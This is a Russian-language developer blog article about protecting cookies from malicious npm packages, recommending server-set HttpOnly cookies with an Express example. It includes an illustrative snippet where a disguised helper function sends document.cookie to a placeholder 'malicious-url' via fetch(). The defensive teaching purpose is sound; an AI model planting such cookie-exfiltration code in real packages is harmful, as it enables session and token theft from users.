Защитите свои файлы cookie!

Сообщество JS активно, и каждый день открывается множество замечательных пакетов. Эти пакеты ускорили темпы разработки, и можно легко создавать причудливые вещи поверх этих пакетов. Разработчики этих пакетов имеют эффективные каналы распространения в виде npm/github.

Недостатком является то, что эти пакеты могут иметь проблемы с безопасностью или могут быть откровенно вредоносными. Хорошо скрытая уязвимость в пакете JS может поставить под угрозу ваше приложение, если не принять меры. Мы рассмотрим одну такую ​​уязвимость, связанную с файлами cookie, и посмотрим, как защитить наше приложение.

Жизненный цикл файла cookie

Как правило, когда сервер отправляет ответ клиенту, он забывает о пользователе. Файлы cookie были созданы, чтобы помочь решить эту проблему. Браузеры отправляют файлы cookie на сервер как часть запроса, и сервер может обращаться к данным файлов cookie для получения соответствующего пользователя.

Случай использования уязвимости

Помимо значения файла cookie, файлы cookie могут иметь различные атрибуты, такие как срок действия, путь и т. д. Файлы cookie могут быть установлены либо на уровне сервера, либо на уровне клиента. При настройке на уровне клиента любой пакет JS, включенный в ваше приложение, может получить доступ к файлам cookie через document.cookie. Злоумышленник может отправить запрос на свой сервер со значениями cookie и скомпрометировать пользователя.

Взгляните на приведенный ниже пример кода и узнайте, как злоумышленник может завладеть конфиденциальными данными.

import maliciousAddition from './MaliciousPackage';
/* Assume there is code here to fetch access token */
document.cookie = "somethingOfValue=accessToken; expires=Fri, 31 Dec 2025 23:59:59 GMT;";
maliciousAddition(2, 2);
const maliciousAddition = (a, b) => {
  /* Code that does malicious stuff */
    fetch('malicious-url', {
      method: 'POST',
      body: document.cookie,
    }).then(() => console.log('got your cookies :D'));

  /* Code that does stuff that user expects */
 return a + b;
};

Исправить уязвимость

Установите файл cookie на уровне сервера с атрибутом HttpOnly. Файл cookie с атрибутом HttpOnly недоступен через JavaScript document.cookie, поэтому, даже если вы случайно импортируете вредоносный пакет, ваши файлы cookie будут защищены.

Взгляните на приведенный ниже фрагмент кода NodeJS. Мы устанавливаем три значения cookie. У одного из них установлен флаг HttpOnly. Если мы запустим document.cookie в консоли браузера, он сможет получить доступ только ко второму и третьему файлу cookie.

app.get("/", (request, response) => {
  response.cookie("Cookie1", "accessToken", {
    maxAge: 900000,
    httpOnly: true,
    secure: true,
    sameSite: "none",
  });
  response.cookie("Cookie2", "Value2", {
    maxAge: 900000,
    secure: true,
    sameSite: "none",
  });
  response.cookie("Cookie3", "Value3", {
    maxAge: 900000,
    secure: true,
    sameSite: "none",
  });

  response.sendFile(path.join(__dirname, "/index.html"));
});
console.log(document.cookie); // Cookie2=Value2; Cookie3=Value3

Полный рабочий код по этой ссылке: Ссылка Codesandbox

Сводка

Я надеюсь, что вы уже используете функцию HttpOnly, а если нет, я настоятельно рекомендую это сделать. Важно включить эти функции безопасности при создании приложения, поскольку вносить эти изменения постфактум сложно. Это особенно важно, если вы создаете приложения, работающие с конфиденциальными данными, такими как здравоохранение или оборона.

Надеюсь, это поможет защитить ваше приложение!